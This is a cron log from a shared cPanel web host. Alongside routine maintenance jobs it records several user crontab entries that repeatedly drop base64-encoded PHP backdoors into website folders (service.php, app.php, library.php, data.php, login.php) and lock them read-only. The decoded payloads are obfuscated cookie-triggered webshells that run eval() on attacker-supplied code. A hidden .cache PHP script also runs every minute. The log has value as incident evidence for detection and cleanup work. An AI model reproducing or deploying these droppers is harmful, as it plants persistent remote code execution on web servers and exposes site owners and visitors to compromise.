Mar  1 11:14:02 medusa CROND[12159]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:14:02 medusa CROND[12164]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:14:02 medusa CROND[12165]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:14:02 medusa CROND[12168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:14:02 medusa CROND[12169]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:14:02 medusa CROND[12172]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:15:01 medusa CROND[2506]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:15:02 medusa CROND[2628]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:15:02 medusa CROND[2630]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:15:02 medusa CROND[2629]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:15:02 medusa CROND[2631]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2632]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:15:02 medusa CROND[2641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:15:02 medusa CROND[2644]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:15:02 medusa CROND[2645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:15:02 medusa CROND[2650]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2646]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:15:02 medusa CROND[2655]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2658]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:15:02 medusa CROND[2659]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:15:02 medusa CROND[2660]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2662]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:15:02 medusa CROND[2663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:15:02 medusa CROND[2664]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:15:02 medusa CROND[2665]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:15:02 medusa CROND[2667]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:15:02 medusa CROND[2669]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:16:02 medusa CROND[24752]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:16:02 medusa CROND[24753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:16:02 medusa CROND[24754]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:16:02 medusa CROND[24755]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:16:02 medusa CROND[24756]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:16:02 medusa CROND[24757]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:16:02 medusa CROND[24758]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:16:02 medusa CROND[24759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:16:02 medusa CROND[24761]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
